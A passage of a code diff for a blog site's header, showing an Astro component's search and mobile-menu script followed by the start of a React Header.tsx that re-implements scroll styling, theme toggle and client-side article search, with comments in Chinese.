||||
backdrop-filter: blur(6px);
|
||||
background: rgba(249, 250, 251, 0.8);
|
||||
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.04);
|
||||
/* 确保高斯模糊立即应用 */
|
||||
will-change: backdrop-filter;
|
||||
}
|
||||
|
||||
:global([data-theme="dark"]) #mobile-menu-bg {
|
||||
background: rgba(15, 23, 42, 0.8);
|
||||
box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.3);
|
||||
}
|
||||
|
||||
/* 搜索面板动画 */
|
||||
#mobile-search-panel.show {
|
||||
animation: slide-down 0.2s ease-out forwards;
|
||||
}
|
||||
|
||||
@keyframes slide-down {
|
||||
0% {
|
||||
opacity: 0;
|
||||
transform: translateY(-10px);
|
||||
}
|
||||
100% {
|
||||
opacity: 1;
|
||||
transform: translateY(0);
|
||||
}
|
||||
}
|
||||
</style>
|
||||
|
||||
<script>
|
||||
// 确保脚本适用于视图转换
|
||||
function initHeader() {
|
||||
const header = document.getElementById('header-bg');
|
||||
const scrollThreshold = 50;
|
||||
|
||||
function updateHeaderBackground() {
|
||||
if (window.scrollY > scrollThreshold) {
|
||||
header?.classList.add('scrolled');
|
||||
} else {
|
||||
header?.classList.remove('scrolled');
|
||||
}
|
||||
}
|
||||
|
||||
// 初始检查
|
||||
updateHeaderBackground();
|
||||
|
||||
// 添加滚动事件监听
|
||||
window.addEventListener('scroll', updateHeaderBackground);
|
||||
|
||||
// 移动端菜单逻辑
|
||||
const mobileMenuButton = document.getElementById('mobile-menu-button');
|
||||
const mobileMenu = document.getElementById('mobile-menu');
|
||||
const menuOpenIcon = document.getElementById('menu-open-icon');
|
||||
const menuCloseIcon = document.getElementById('menu-close-icon');
|
||||
|
||||
if (mobileMenuButton && mobileMenu && menuOpenIcon && menuCloseIcon) {
|
||||
mobileMenuButton.addEventListener('click', () => {
|
||||
const expanded = mobileMenuButton.getAttribute('aria-expanded') === 'true';
|
||||
|
||||
// 切换菜单状态
|
||||
mobileMenuButton.setAttribute('aria-expanded', (!expanded).toString());
|
||||
|
||||
if (expanded) {
|
||||
// 直接隐藏菜单,不使用过渡效果
|
||||
mobileMenu.classList.add('hidden');
|
||||
} else {
|
||||
// 直接显示菜单,不使用过渡效果
|
||||
mobileMenu.classList.remove('hidden');
|
||||
}
|
||||
|
||||
// 切换图标
|
||||
menuOpenIcon.classList.toggle('hidden');
|
||||
menuCloseIcon.classList.toggle('hidden');
|
||||
});
|
||||
}
|
||||
|
||||
// 移动端主题切换容器点击处理
|
||||
const themeToggleContainer = document.getElementById('theme-toggle-container');
|
||||
|
||||
if (themeToggleContainer) {
|
||||
themeToggleContainer.addEventListener('click', (e) => {
|
||||
const target = e.target as HTMLElement;
|
||||
const themeToggleButton = themeToggleContainer.querySelector('[role="button"]');
|
||||
|
||||
// 如果点击的不是主题切换按钮本身,而是容器或文本
|
||||
if (themeToggleButton instanceof HTMLElement && target !== themeToggleButton && !themeToggleButton.contains(target)) {
|
||||
// 手动触发主题切换按钮的点击
|
||||
themeToggleButton.click();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// 移动端搜索按钮
|
||||
const mobileSearchButton = document.getElementById('mobile-search-button');
|
||||
const mobileSearchPanel = document.getElementById('mobile-search-panel');
|
||||
const mobileSearch = document.getElementById('mobile-search');
|
||||
const mobileSearchClose = document.getElementById('mobile-search-close');
|
||||
|
||||
if (mobileSearchButton && mobileSearchPanel) {
|
||||
mobileSearchButton.addEventListener('click', () => {
|
||||
mobileSearchPanel.classList.remove('hidden');
|
||||
mobileSearchPanel.classList.add('show');
|
||||
if (mobileSearch) mobileSearch.focus();
|
||||
});
|
||||
|
||||
if (mobileSearchClose) {
|
||||
mobileSearchClose.addEventListener('click', () => {
|
||||
mobileSearchPanel.classList.add('hidden');
|
||||
mobileSearchPanel.classList.remove('show');
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 搜索功能逻辑
|
||||
function initSearch() {
|
||||
// 搜索节流函数
|
||||
function debounce<T extends (...args: any[]) => void>(func: T, wait: number): (...args: Parameters<T>) => void {
|
||||
let timeout: ReturnType<typeof setTimeout> | undefined;
|
||||
return function(this: any, ...args: Parameters<T>): void {
|
||||
clearTimeout(timeout);
|
||||
timeout = setTimeout(() => func.apply(this, args), wait);
|
||||
};
|
||||
}
|
||||
|
||||
// 获取DOM元素
|
||||
const desktopSearch = document.getElementById('desktop-search');
|
||||
const desktopResults = document.getElementById('desktop-search-results');
|
||||
const desktopList = document.getElementById('desktop-search-list');
|
||||
const desktopMessage = document.getElementById('desktop-search-message');
|
||||
|
||||
const mobileSearch = document.getElementById('mobile-search');
|
||||
const mobileResults = document.getElementById('mobile-search-results');
|
||||
const mobileList = document.getElementById('mobile-search-list');
|
||||
const mobileMessage = document.getElementById('mobile-search-message');
|
||||
|
||||
// 文章对象的接口定义
|
||||
interface Article {
|
||||
id: string;
|
||||
title: string;
|
||||
date: string | Date;
|
||||
summary?: string;
|
||||
tags?: string[];
|
||||
image?: string;
|
||||
content?: string;
|
||||
}
|
||||
|
||||
let articles: Article[] = [];
|
||||
let isArticlesLoaded = false;
|
||||
|
||||
// 获取文章数据
|
||||
async function fetchArticles() {
|
||||
if (isArticlesLoaded && articles.length > 0) return;
|
||||
|
||||
try {
|
||||
const response = await fetch('/api/search');
|
||||
if (!response.ok) {
|
||||
throw new Error('获取文章数据失败');
|
||||
}
|
||||
articles = await response.json();
|
||||
isArticlesLoaded = true;
|
||||
} catch (error) {
|
||||
console.error('获取文章失败:', error);
|
||||
}
|
||||
}
|
||||
|
||||
// 高亮文本中的匹配部分
|
||||
function highlightText(text: string, query: string): string {
|
||||
if (!text || !query.trim()) return text;
|
||||
|
||||
// 转义正则表达式中的特殊字符
|
||||
const escapedQuery = query.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
|
||||
const regex = new RegExp(`(${escapedQuery})`, 'gi');
|
||||
|
||||
return text.replace(regex, '<mark class="bg-yellow-100 dark:bg-yellow-900/30 text-gray-900 dark:text-gray-100 px-0.5 rounded">$1</mark>');
|
||||
}
|
||||
|
||||
// 搜索文章
|
||||
function searchArticles(query: string, resultsList: HTMLElement, resultsMessage: HTMLElement) {
|
||||
if (!query.trim()) {
|
||||
resultsList.innerHTML = '';
|
||||
resultsMessage.textContent = '输入关键词开始搜索';
|
||||
resultsMessage.style.display = 'block';
|
||||
return;
|
||||
}
|
||||
|
||||
if (articles.length === 0) {
|
||||
resultsMessage.textContent = '正在加载数据...';
|
||||
resultsMessage.style.display = 'block';
|
||||
return;
|
||||
}
|
||||
|
||||
const lowerQuery = query.toLowerCase();
|
||||
|
||||
// 过滤并排序结果
|
||||
const filteredArticles = articles
|
||||
.filter((article: Article) => {
|
||||
const title = article.title.toLowerCase();
|
||||
const tags = article.tags ? article.tags.map((tag: string) => tag.toLowerCase()) : [];
|
||||
const summary = article.summary ? article.summary.toLowerCase() : '';
|
||||
const content = article.content ? article.content.toLowerCase() : '';
|
||||
|
||||
return title.includes(lowerQuery) ||
|
||||
tags.some((tag: string) => tag.includes(lowerQuery)) ||
|
||||
summary.includes(lowerQuery) ||
|
||||
content.includes(lowerQuery);
|
||||
})
|
||||
.sort((a: Article, b: Article) => {
|
||||
// 标题匹配优先
|
||||
const aTitle = a.title.toLowerCase();
|
||||
const bTitle = b.title.toLowerCase();
|
||||
|
||||
if (aTitle.includes(lowerQuery) && !bTitle.includes(lowerQuery)) {
|
||||
return -1;
|
||||
}
|
||||
if (!aTitle.includes(lowerQuery) && bTitle.includes(lowerQuery)) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
// 内容匹配次之
|
||||
const aContent = a.content ? a.content.toLowerCase() : '';
|
||||
const bContent = b.content ? b.content.toLowerCase() : '';
|
||||
|
||||
if (aContent.includes(lowerQuery) && !bContent.includes(lowerQuery)) {
|
||||
return -1;
|
||||
}
|
||||
if (!aContent.includes(lowerQuery) && bContent.includes(lowerQuery)) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
// 日期排序
|
||||
return new Date(b.date).getTime() - new Date(a.date).getTime();
|
||||
})
|
||||
.slice(0, 10); // 限制结果数量
|
||||
|
||||
if (filteredArticles.length === 0) {
|
||||
resultsList.innerHTML = '';
|
||||
resultsMessage.textContent = '没有找到相关内容';
|
||||
resultsMessage.style.display = 'block';
|
||||
return;
|
||||
}
|
||||
|
||||
// 显示结果
|
||||
resultsMessage.style.display = 'none';
|
||||
resultsList.innerHTML = filteredArticles.map((article: Article) => {
|
||||
// 生成匹配的内容片段
|
||||
let contentMatch = '';
|
||||
if (article.content && article.content.toLowerCase().includes(lowerQuery)) {
|
||||
// 找到匹配文本在内容中的位置
|
||||
const matchIndex = article.content.toLowerCase().indexOf(lowerQuery);
|
||||
// 计算片段的起始和结束位置
|
||||
const startPos = Math.max(0, matchIndex - 50);
|
||||
const endPos = Math.min(article.content.length, matchIndex + 100);
|
||||
// 提取片段
|
||||
let snippet = article.content.substring(startPos, endPos);
|
||||
// 如果不是从文章开头开始,添加省略号
|
||||
if (startPos > 0) {
|
||||
snippet = '...' + snippet;
|
||||
}
|
||||
// 如果不是到文章结尾,添加省略号
|
||||
if (endPos < article.content.length) {
|
||||
snippet = snippet + '...';
|
||||
}
|
||||
// 高亮匹配的文本
|
||||
snippet = highlightText(snippet, query);
|
||||
contentMatch = `<p class="text-xs text-gray-500 dark:text-gray-400 mt-1 line-clamp-2">${snippet}</p>`;
|
||||
}
|
||||
|
||||
// 高亮标题和摘要中的匹配文本
|
||||
const highlightedTitle = highlightText(article.title, query);
|
||||
const highlightedSummary = article.summary ? highlightText(article.summary, query) : '';
|
||||
|
||||
return `
|
||||
<li>
|
||||
<a href="/articles/${article.id}" class="block px-4 py-3 hover:bg-gray-100 dark:hover:bg-gray-700/70 transition-colors duration-200">
|
||||
<h3 class="text-sm font-medium text-gray-800 dark:text-gray-200 truncate">${highlightedTitle}</h3>
|
||||
${article.summary ? `<p class="text-xs text-gray-500 dark:text-gray-400 mt-1 truncate">${highlightedSummary}</p>` : ''}
|
||||
${contentMatch}
|
||||
${article.tags && article.tags.length > 0 ? `
|
||||
<div class="flex flex-wrap gap-1 mt-1.5">
|
||||
${article.tags.slice(0, 3).map((tag: string) => `
|
||||
<span class="inline-block text-xs bg-primary-50/50 dark:bg-primary-900/20 text-primary-600 dark:text-primary-400 py-0.5 px-1.5 rounded-full">#${tag}</span>
|
||||
`).join('')}
|
||||
${article.tags.length > 3 ? `<span class="text-xs text-gray-400 dark:text-gray-500">+${article.tags.length - 3}</span>` : ''}
|
||||
</div>
|
||||
` : ''}
|
||||
</a>
|
||||
</li>
|
||||
`}).join('');
|
||||
}
|
||||
|
||||
// 节流搜索
|
||||
const debouncedDesktopSearch = debounce((value: string) => {
|
||||
if (desktopList && desktopMessage) {
|
||||
searchArticles(value, desktopList as HTMLElement, desktopMessage as HTMLElement);
|
||||
}
|
||||
}, 300);
|
||||
|
||||
const debouncedMobileSearch = debounce((value: string) => {
|
||||
if (mobileList && mobileMessage) {
|
||||
searchArticles(value, mobileList as HTMLElement, mobileMessage as HTMLElement);
|
||||
}
|
||||
}, 300);
|
||||
|
||||
// 桌面端搜索逻辑
|
||||
if (desktopSearch && desktopResults) {
|
||||
desktopSearch.addEventListener('focus', () => {
|
||||
desktopResults.classList.remove('hidden');
|
||||
if (!isArticlesLoaded) fetchArticles();
|
||||
});
|
||||
|
||||
desktopSearch.addEventListener('input', (e: Event) => {
|
||||
const target = e.target as HTMLInputElement;
|
||||
if (target && target.value !== undefined) {
|
||||
debouncedDesktopSearch(target.value);
|
||||
}
|
||||
});
|
||||
|
||||
// 点击外部关闭结果
|
||||
document.addEventListener('click', (e: MouseEvent) => {
|
||||
const target = e.target as Node;
|
||||
if (desktopSearch && !desktopSearch.contains(target) && !desktopResults.contains(target)) {
|
||||
desktopResults.classList.add('hidden');
|
||||
}
|
||||
});
|
||||
|
||||
// ESC键关闭结果
|
||||
desktopSearch.addEventListener('keydown', (e: KeyboardEvent) => {
|
||||
if (e.key === 'Escape') {
|
||||
desktopResults.classList.add('hidden');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// 移动端搜索逻辑
|
||||
if (mobileSearch && mobileResults) {
|
||||
mobileSearch.addEventListener('input', (e: Event) => {
|
||||
mobileResults.classList.remove('hidden');
|
||||
const target = e.target as HTMLInputElement;
|
||||
if (target && target.value !== undefined) {
|
||||
debouncedMobileSearch(target.value);
|
||||
if (!isArticlesLoaded) fetchArticles();
|
||||
}
|
||||
});
|
||||
|
||||
// ESC键关闭搜索面板
|
||||
mobileSearch.addEventListener('keydown', (e: KeyboardEvent) => {
|
||||
if (e.key === 'Escape') {
|
||||
const mobileSearchPanel = document.getElementById('mobile-search-panel');
|
||||
if (mobileSearchPanel) {
|
||||
mobileSearchPanel.classList.add('hidden');
|
||||
mobileSearchPanel.classList.remove('show');
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// 初始化函数
|
||||
function setupHeader() {
|
||||
initHeader();
|
||||
initSearch();
|
||||
}
|
||||
|
||||
// 在文档加载时初始化一次
|
||||
if (document.readyState === 'loading') {
|
||||
document.addEventListener('DOMContentLoaded', setupHeader);
|
||||
} else {
|
||||
setupHeader();
|
||||
}
|
||||
|
||||
// 支持 Astro 视图转换
|
||||
document.addEventListener('astro:swup:page:view', setupHeader);
|
||||
|
||||
// 清理
|
||||
document.addEventListener('astro:before-swap', () => {
|
||||
// 移除可能的全局事件监听器
|
||||
window.removeEventListener('scroll', () => {});
|
||||
});
|
||||
</script>
|
||||
|
421
src/components/Header.tsx
Normal file
421
src/components/Header.tsx
Normal file
@ -0,0 +1,421 @@
|
||||
import { useEffect, useState, useRef } from 'react';
|
||||
import { SITE_NAME, NAV_LINKS } from '@/consts.ts';
|
||||
import { ThemeToggle } from './ThemeToggle';
|
||||
import '@/styles/header.css';
|
||||
|
||||
|
||||
// 文章对象类型定义
|
||||
interface Article {
|
||||
id: string;
|
||||
title: string;
|
||||
date: string | Date;
|
||||
summary?: string;
|
||||
tags?: string[];
|
||||
image?: string;
|
||||
content?: string;
|
||||
}
|
||||
|
||||
export default function Header() {
|
||||
// 状态定义
|
||||
const [scrolled, setScrolled] = useState(false);
|
||||
const [mobileMenuOpen, setMobileMenuOpen] = useState(false);
|
||||
const [mobileSearchOpen, setMobileSearchOpen] = useState(false);
|
||||
const [articles, setArticles] = useState<Article[]>([]);
|
||||
const [isArticlesLoaded, setIsArticlesLoaded] = useState(false);
|
||||
const [searchQuery, setSearchQuery] = useState('');
|
||||
const [desktopSearchFocused, setDesktopSearchFocused] = useState(false);
|
||||
|
||||
// 获取当前路径 (使用window.location.pathname)
|
||||
const [pathname, setPathname] = useState('/');
|
||||
useEffect(() => {
|
||||
setPathname(window.location.pathname);
|
||||
}, []);
|
||||
|
||||
// 移除结尾的斜杠以统一路径格式
|
||||
const normalizedPath = pathname?.endsWith('/') ? pathname.slice(0, -1) : pathname;
|
||||
|
||||
// 引用
|
||||
const desktopSearchRef = useRef<HTMLInputElement>(null);
|
||||
const desktopResultsRef = useRef<HTMLDivElement>(null);
|
||||
const mobileSearchRef = useRef<HTMLInputElement>(null);
|
||||
const searchTimeoutRef = useRef<NodeJS.Timeout | null>(null);
|
||||
|
||||
// 处理滚动效果
|
||||
useEffect(() => {
|
||||
const scrollThreshold = 50;
|
||||
|
||||
function updateHeaderBackground() {
|
||||
if (window.scrollY > scrollThreshold) {
|
||||
setScrolled(true);
|
||||
} else {
|
||||
setScrolled(false);
|
||||
}
|
||||
}
|
||||
|
||||
// 初始检查
|
||||
updateHeaderBackground();
|
||||
|
||||
// 添加滚动事件监听
|
||||
window.addEventListener('scroll', updateHeaderBackground);
|
||||
|
||||
// 清理
|
||||
return () => window.removeEventListener('scroll', updateHeaderBackground);
|
||||
}, []);
|
||||
|
||||
// 搜索节流函数
|
||||
function debounce<T extends (...args: any[]) => void>(func: T, wait: number): (...args: Parameters<T>) => void {
|
||||
let timeout: ReturnType<typeof setTimeout> | undefined;
|
||||
return function(this: any, ...args: Parameters<T>): void {
|
||||
clearTimeout(timeout);
|
||||
timeout = setTimeout(() => func.apply(this, args), wait);
|
||||
};
|
||||
}
|
||||
|
||||
// 获取文章数据
|
||||
async function fetchArticles() {
|
||||
if (isArticlesLoaded && articles.length > 0) return;
|
||||
|
||||
try {
|
||||
const response = await fetch('/api/search');
|
||||
if (!response.ok) {
|
||||
throw new Error('获取文章数据失败');
|
||||
}
|
||||
const data = await response.json();
|
||||
setArticles(data);
|
||||
setIsArticlesLoaded(true);
|
||||
} catch (error) {
|
||||
console.error('获取文章失败:', error);
|
||||
}
|
||||
}
|
||||
|
||||
// 高亮文本中的匹配部分
|
||||
function highlightText(text: string, query: string): string {
|
||||
if (!text || !query.trim()) return text;
|
||||
|
||||
// 转义正则表达式中的特殊字符
|
||||
const escapedQuery = query.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
|
||||
const regex = new RegExp(`(${escapedQuery})`, 'gi');
|
||||
|
||||
return text.replace(regex, '<mark class="bg-yellow-100 dark:bg-yellow-900/30 text-gray-900 dark:text-gray-100 px-0.5 rounded">$1</mark>');
|
||||
}
|
||||
|
||||
// 搜索文章逻辑
|
||||
const debouncedSearch = debounce((query: string) => {
|
||||
setSearchQuery(query);
|
||||
}, 300);
|
||||
|
||||
// 点击页面其他区域关闭搜索结果
|
||||
useEffect(() => {
|
||||
function handleClickOutside(event: MouseEvent) {
|
||||
if (
|
||||
desktopSearchRef.current &&
|
||||
desktopResultsRef.current &&
|
||||
!desktopSearchRef.current.contains(event.target as Node) &&
|
||||
!desktopResultsRef.current.contains(event.target as Node)
|
||||
) {
|
||||
setDesktopSearchFocused(false);
|
||||
}
|
||||
}
|
||||
|
||||
document.addEventListener('mousedown', handleClickOutside);
|
||||
return () => document.removeEventListener('mousedown', handleClickOutside);
|
||||
}, []);
|
||||
|
||||
// 处理ESC键
|
||||
useEffect(() => {
|
||||
function handleKeyDown(e: KeyboardEvent) {
|
||||
if (e.key === 'Escape') {
|
||||
setDesktopSearchFocused(false);
|
||||
setMobileSearchOpen(false);
|
||||
}
|
||||
}
|
||||
|
||||
document.addEventListener('keydown', handleKeyDown);
|
||||
return () => document.removeEventListener('keydown', handleKeyDown);
|
||||
}, []);
|
||||
|
||||
// 搜索结果处理
|
||||
const getFilteredArticles = () => {
|
||||
if (!searchQuery.trim()) return [];
|
||||
|
||||
const lowerQuery = searchQuery.toLowerCase();
|
||||
|
||||
return articles
|
||||
.filter((article: Article) => {
|
||||
const title = article.title.toLowerCase();
|
||||
const tags = article.tags ? article.tags.map((tag: string) => tag.toLowerCase()) : [];
|
||||
const summary = article.summary ? article.summary.toLowerCase() : '';
|
||||
const content = article.content ? article.content.toLowerCase() : '';
|
||||
|
||||
return title.includes(lowerQuery) ||
|
||||
tags.some((tag: string) => tag.includes(lowerQuery)) ||
|
||||
summary.includes(lowerQuery) ||
|
||||
content.includes(lowerQuery);
|
||||
})
|
||||
.sort((a: Article, b: Article) => {
|
||||
// 标题匹配优先
|
||||
const aTitle = a.title.toLowerCase();
|
||||
const bTitle = b.title.toLowerCase();
|
||||
|
||||
if (aTitle.includes(lowerQuery) && !bTitle.includes(lowerQuery)) {
|
||||
return -1;
|
||||
}
|
||||
if (!aTitle.includes(lowerQuery) && bTitle.includes(lowerQuery)) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
// 内容匹配次之
|
||||
const aContent = a.content ? a.content.toLowerCase() : '';
|
||||
const bContent = b.content ? b.content.toLowerCase() : '';
|
||||
|
||||
if (aContent.includes(lowerQuery) && !bContent.includes(lowerQuery)) {
|
||||
return -1;
|
||||
}
|
||||
if (!aContent.includes(lowerQuery) && bContent.includes(lowerQuery)) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
// 日期排序
|
||||
return new Date(b.date).getTime() - new Date(a.date).getTime();
|
||||
})
|
||||
.slice(0, 10); // 限制结果数量
|
||||
};
|
||||
|
||||
// 生成搜索结果列表项
|
||||
const renderSearchResults = () => {
|
||||
const filteredArticles = getFilteredArticles();
|
||||
if (filteredArticles.length === 0) {
|
||||
return (
|
||||
<div className="py-4 px-4 text-center text-gray-500 dark:text-gray-400">
|
||||
没有找到相关文章
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<ul className="py-2">
|
||||
{filteredArticles.map(article => {
|
||||
return (
|
||||
<li key={article.id} className="group">
|
||||
<a href={`/articles/${article.id}`} className="block px-4 py-3 hover:bg-gray-100 dark:hover:bg-gray-700/70">
|
||||
<h4 className="text-sm font-medium text-gray-900 dark:text-gray-100 group-hover:text-primary-600 dark:group-hover:text-primary-400"
|
||||
dangerouslySetInnerHTML={{ __html: highlightText(article.title, searchQuery) }}
|
||||
></h4>
|
||||
|
||||
{article.summary && (
|
||||
<p className="mt-1 text-xs text-gray-500 dark:text-gray-400 line-clamp-1"
|
||||
dangerouslySetInnerHTML={{ __html: highlightText(article.summary, searchQuery) }}
|
||||
></p>
|
||||
)}
|
||||
|
||||
{article.tags && article.tags.length > 0 && (
|
||||
<div className="mt-2 flex items-center flex-wrap gap-1">
|
||||
{article.tags.slice(0, 3).map(tag => (
|
||||
<span key={tag} className="inline-block text-2xs px-1.5 py-0.5 bg-gray-100 dark:bg-gray-700/70 text-gray-600 dark:text-gray-400 rounded">
|
||||
{tag}
|
||||
</span>
|
||||
))}
|
||||
{article.tags.length > 3 && (
|
||||
<span className="text-xs text-gray-400 dark:text-gray-500">
|
||||
+{article.tags.length - 3}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</a>
|
||||
</li>
|
||||
);
|
||||
})}
|
||||
</ul>
|
||||
);
|
||||
};
|
||||
|
||||
// 准备样式类
|
||||
const headerBgClasses = `absolute inset-0 bg-gray-50/95 dark:bg-dark-bg/95 ${
|
||||
scrolled ? 'scrolled' : ''
|
||||
}`;
|
||||
|
||||
return (
|
||||
<header className="fixed w-full top-0 z-50" id="main-header">
|
||||
<div className={headerBgClasses} id="header-bg"></div>
|
||||
<nav className="relative">
|
||||
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
|
||||
<div className="flex justify-between h-16">
|
||||
{/* Logo 部分 */}
|
||||
<div className="flex items-center">
|
||||
<a href="/" className="text-xl md:text-2xl font-bold tracking-tight bg-gradient-to-r from-primary-600 to-primary-400 bg-clip-text text-transparent hover:from-primary-500 hover:to-primary-300 dark:from-primary-400 dark:to-primary-200 dark:hover:from-primary-300 dark:hover:to-primary-100">
|
||||
{SITE_NAME}
|
||||
</a>
|
||||
</div>
|
||||
|
||||
{/* 导航链接 */}
|
||||
<div className="hidden md:flex md:items-center md:space-x-8">
|
||||
{/* 桌面端搜索框 */}
|
||||
<div className="relative">
|
||||
<input
|
||||
type="text"
|
||||
id="desktop-search"
|
||||
ref={desktopSearchRef}
|
||||
className="w-48 pl-10 pr-4 py-1.5 rounded-full text-sm text-gray-700 dark:text-gray-200 placeholder-gray-500 dark:placeholder-gray-400 bg-gray-50/80 dark:bg-gray-800/60 border border-gray-200/60 dark:border-gray-700/40 focus:outline-none focus:ring-1 focus:ring-primary-400 dark:focus:ring-primary-500 focus:bg-white dark:focus:bg-gray-800 focus:border-primary-300 dark:focus:border-primary-600"
|
||||
placeholder="搜索文章..."
|
||||
onFocus={() => {
|
||||
setDesktopSearchFocused(true);
|
||||
fetchArticles();
|
||||
}}
|
||||
onChange={(e) => debouncedSearch(e.target.value)}
|
||||
/>
|
||||
<div className="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none">
|
||||
<svg className="h-4 w-4 text-gray-400 dark:text-gray-500" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
{/* 搜索结果容器 */}
|
||||
<div
|
||||
ref={desktopResultsRef}
|
||||
className={`absolute top-full left-0 right-0 mt-2 max-h-80 overflow-y-auto rounded-lg bg-white/95 dark:bg-gray-800/95 shadow-md border border-gray-200/70 dark:border-gray-700/70 backdrop-blur-sm z-50 ${
|
||||
desktopSearchFocused ? '' : 'hidden'
|
||||
}`}
|
||||
>
|
||||
{renderSearchResults()}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* 导航链接 */}
|
||||
{NAV_LINKS.map((link) => (
|
||||
<a
|
||||
key={link.href}
|
||||
href={link.href}
|
||||
className={`inline-flex items-center px-1 pt-1 text-sm font-medium ${
|
||||
normalizedPath === (link.href === '/' ? '' : link.href)
|
||||
? 'text-primary-600 dark:text-primary-400 border-b-2 border-primary-600 dark:border-primary-400'
|
||||
: 'text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 hover:border-b-2 hover:border-primary-300 dark:hover:border-primary-700'
|
||||
}`}
|
||||
>
|
||||
{link.text}
|
||||
</a>
|
||||
))}
|
||||
<ThemeToggle />
|
||||
</div>
|
||||
|
||||
{/* 移动端菜单按钮 */}
|
||||
<div className="flex items-center md:hidden">
|
||||
{/* 移动端搜索按钮 */}
|
||||
<button
|
||||
type="button"
|
||||
className="inline-flex items-center justify-center p-2 rounded-md text-secondary-400 dark:text-secondary-500 hover:text-secondary-500 dark:hover:text-secondary-400 hover:bg-secondary-100 dark:hover:bg-dark-card focus:outline-none focus:ring-2 focus:ring-inset focus:ring-primary-500 mr-2"
|
||||
aria-expanded={mobileSearchOpen}
|
||||
aria-label="搜索"
|
||||
onClick={() => {
|
||||
setMobileSearchOpen(true);
|
||||
setTimeout(() => {
|
||||
mobileSearchRef.current?.focus();
|
||||
}, 100);
|
||||
fetchArticles();
|
||||
}}
|
||||
>
|
||||
<span className="sr-only">搜索</span>
|
||||
<svg className="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
|
||||
</svg>
|
||||
</button>
|
||||
|
||||
{/* 移动端菜单按钮 */}
|
||||
<button
|
||||
type="button"
|
||||
className="inline-flex items-center justify-center p-2 rounded-md text-secondary-400 dark:text-secondary-500 hover:text-secondary-500 dark:hover:text-secondary-400 hover:bg-secondary-100 dark:hover:bg-dark-card focus:outline-none focus:ring-2 focus:ring-inset focus:ring-primary-500"
|
||||
id="mobile-menu-button"
|
||||
aria-expanded={mobileMenuOpen}
|
||||
aria-label="打开菜单"
|
||||
onClick={() => setMobileMenuOpen(!mobileMenuOpen)}
|
||||
>
|
||||
<span className="sr-only">打开菜单</span>
|
||||
{mobileMenuOpen ? (
|
||||
<svg className="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M6 18L18 6M6 6l12 12" />
|
||||
</svg>
|
||||
) : (
|
||||
<svg className="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M4 6h16M4 12h16M4 18h16" />
|
||||
</svg>
|
||||
)}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* 移动端搜索面板 */}
|
||||
{mobileSearchOpen && (
|
||||
<div className="md:hidden fixed inset-x-0 top-16 p-4 bg-white dark:bg-gray-800 shadow-md z-50 border-t border-gray-200 dark:border-gray-700 show">
|
||||
<div className="relative">
|
||||
<input
|
||||
type="text"
|
||||
ref={mobileSearchRef}
|
||||
className="w-full pl-10 pr-10 py-2 rounded-full text-sm text-gray-700 dark:text-gray-200 placeholder-gray-500 dark:placeholder-gray-400 bg-gray-50/80 dark:bg-gray-800/60 border border-gray-200/60 dark:border-gray-700/40 focus:outline-none focus:ring-1 focus:ring-primary-400 dark:focus:ring-primary-500 focus:bg-white dark:focus:bg-gray-800 focus:border-primary-300 dark:focus:border-primary-600"
|
||||
placeholder="搜索文章..."
|
||||
onChange={(e) => debouncedSearch(e.target.value)}
|
||||
/>
|
||||
<div className="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none">
|
||||
<svg className="h-5 w-5 text-gray-400 dark:text-gray-500" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
|
||||
</svg>
|
||||
</div>
|
||||
<button
|
||||
className="absolute inset-y-0 right-0 pr-3 flex items-center text-gray-400 hover:text-gray-600 dark:hover:text-gray-300"
|
||||
aria-label="关闭搜索"
|
||||
onClick={() => setMobileSearchOpen(false)}
|
||||
>
|
||||
<svg className="h-5 w-5" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M6 18L18 6M6 6l12 12" />
|
||||
</svg>
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{/* 移动端搜索结果 */}
|
||||
<div className={`mt-3 max-h-80 overflow-y-auto rounded-lg bg-white/95 dark:bg-gray-800/95 shadow-md border border-gray-200/70 dark:border-gray-700/70 backdrop-blur-sm ${searchQuery ? '' : 'hidden'}`}>
|
||||
{renderSearchResults()}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* 移动端菜单 */}
|
||||
